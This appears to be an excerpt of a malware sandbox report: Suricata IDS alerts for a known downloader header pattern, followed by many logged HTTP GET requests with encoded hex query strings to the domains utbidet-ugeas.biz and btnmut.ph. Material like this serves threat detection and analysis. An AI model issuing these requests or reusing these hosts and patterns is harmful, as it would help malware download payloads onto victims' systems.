Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56471 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56459 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56516 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61411 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56507 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56522 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61513 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:62908 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56510 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56456 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61453 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61516 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61507 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56495 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56519 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61468 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61423 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55742 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56498 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55745 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:61525 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56453 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55715 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56483 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56489 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55727 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56513 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56528 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56486 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56447 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:55733 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:56492 -> 172.234.222.138:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.3:62905 -> 172.234.222.138:80

Source: global traffic	HTTP traffic detected: GET /d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025C90F0795C90F0796E90DC795C907EAAC8A858235D9030D15E93C6576EBEC94B6CA0DE79 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53DA7 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023421E6213421E6210621CA21342168F2A0194E7B352126893622D00F060FDF130411C821 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0254F4433754F4433766F46F3754F4CDE4C0CCEB6D55F4839F56F7751966DA7A0564C46D37 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0254F4433754F4433766F46F3754F4CDE4C0CCEB6D55F4839F56F7751966DA7A0564C46D37 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02883DBC9B8F3DBC9BBA3D949B883D32481C0514C1893D7C338A3E8AB5BA1385A9B80D929B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02883DBC9B8F3DBC9BBA3D949B883D32481C0514C1893D7C338A3E8AB5BA1385A9B80D929B HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C3651025C4651025F1653825C3659EF6575DB87FC265D08DC166260BF14B2917F3553E25 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02807A0D42877A0D42B27A2542807A83911442A518817ACDEA82793B6CB2543470B04A2342 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02607BE3D5677BE3D5527BCBD5607B6D06F4434B8F617B237D6278D5FB5255DAE7504BCDD5 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0279CB82A47ECB82A44BCBAAA479CB0C77EDF32AFE78CB420C7BC8B48A4BE5BB9649FBACA4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0279CB82A47ECB82A44BCBAAA479CB0C77EDF32AFE78CB420C7BC8B48A4BE5BB9649FBACA4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E9217EECEE217EECDB2156ECE921F03F7D19D6B6E821BE44EB2248C2DB0F47DED91150EC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028FF41BD188F41BD1BDF433D18FF495021BCCB38B8EF4DB798DF72DFFBDDA22E3BFC435D1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D7753E51A45 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D7753E51A45 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C360 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C360 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AFB92 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7379 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DEF47E9BD9F47E9BECF4569BDEF4F0484ACCD6C1DFF4BE33DCF748B5ECDA47A9EEC4509B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DEF47E9BD9F47E9BECF4569BDEF4F0484ACCD6C1DFF4BE33DCF748B5ECDA47A9EEC4509B HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025085CC3A5785CC3A6285E43A508542E9C4BD646051850C925286FA1462ABF50860B5E23A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A8ABCE52AFABCE529AABE652A8AB40813C936608A9AB0EFAAAA8F87C9A85F760989BE052 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2F2472FB5F2472F80F26F2FB2F2C9FC26CAEF75B3F28787B0F1710180DC7E1D82C2692F HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02263F721B213F721B143F5A1B263FFCC8B207DA41273FB2B3243C443514114B29160F5C1B HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8CC65 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8CC65 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51531 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F373F88DF473F88DC173D08DF373765E674B50D7F2733825F170CEA3C15DC1BFC343D68D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F373F88DF473F88DC173D08DF373765E674B50D7F2733825F170CEA3C15DC1BFC343D68D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027026E9E57726E9E54226C1E570266736E41E41BF7126294D7225DFCB4208D0D74016C7E5 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027026E9E57726E9E54226C1E570266736E41E41BF7126294D7225DFCB4208D0D74016C7E5 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0228CC01DC2FCC01DC1ACC29DC28CC8F0FBCF4A98629CCC1742ACF37F21AE238EE18FC2FDC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0228CC01DC2FCC01DC1ACC29DC28CC8F0FBCF4A98629CCC1742ACF37F21AE238EE18FC2FDC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027812AD6B7F12AD6B4A12856B781223B8EC2A053179126DC37A119B454A3C94594822836B HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?021685246B1185246B24850C6B1685AAB882BD8C311785E4C31486124524AB1D5926B50A6B HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0259BA88095EBA88096BBAA00959BA06DACD82205358BA48A15BB9BE276B94B13B698AA609 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6705 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6705 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0214874BFE13874BFE268763FE1487C52D80BFE3A415878B5616847DD026A972CC24B765FE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0214874BFE13874BFE268763FE1487C52D80BFE3A415878B5616847DD026A972CC24B765FE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02EB193971EC193971D9191171EB19B7A27F21912BEA19F9D9E91A0F5FD9370043DB291771 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02EB193971EC193971D9191171EB19B7A27F21912BEA19F9D9E91A0F5FD9370043DB291771 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025D7412245A7412246F743A245D749CF7C94CBA7E5C74D28C5F77240A6F5A2B166D443C24 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0216471A6811471A6824473268164794BB827FB2321747DAC014442C462469235A26773468 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0216471A6811471A6824473268164794BB827FB2321747DAC014442C462469235A26773468 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F86490198B4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02BF44216EB844216E8D44096EBF44AFBD2B7C8934BE44E1C6BD4717408D6A185C8F740F6E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02BF44216EB844216E8D44096EBF44AFBD2B7C8934BE44E1C6BD4717408D6A185C8F740F6E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028F97036288970362BD972B628F978DB11BAFAB388E97C3CA8D94354CBDB93A50BFA72D62 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028F97036288970362BD972B628F978DB11BAFAB388E97C3CA8D94354CBDB93A50BFA72D62 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022EFA881529FA88151CFAA0152EFA06C6BAC2204F2FFA48BD2CF9BE3B1CD4B1271ECAA615 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022EFA881529FA88151CFAA0152EFA06C6BAC2204F2FFA48BD2CF9BE3B1CD4B1271ECAA615 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02CD663BDACA663BDAFF6613DACD66B509595E9380CC66FB72CF650DF4FF4802E8FD5615DA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CD663BDACA663BDAFF6613DACD66B509595E9380CC66FB72CF650DF4FF4802E8FD5615DA HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0228E1FBA12FE1FBA11AE1D3A128E17572BCD953FB29E13B092AE2CD8F1ACFC29318D1D5A1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: btnmut.phCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F30C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F30C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0244C4EA6D43C4EA6D76C4C26D44C464BED0FC423745C42AC546C7DC4376EAD35F74F4C46D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025A2542705D25427068256A705A25CCA3CE1DEA2A5B2582D85826745E680B7B426A156C70 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025A2542705D25427068256A705A25CCA3CE1DEA2A5B2582D85826745E680B7B426A156C70 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0296922D8A91922D8AA492058A9692A35902AA85D09792ED2294911BA4A4BC14B8A6A2038A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0296922D8A91922D8AA492058A9692A35902AA85D09792ED2294911BA4A4BC14B8A6A2038A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0238A005623FA005620AA02D6238A08BB1AC98AD3839A0C5CA3AA3334C0A8E3C5008902B62 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148372 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
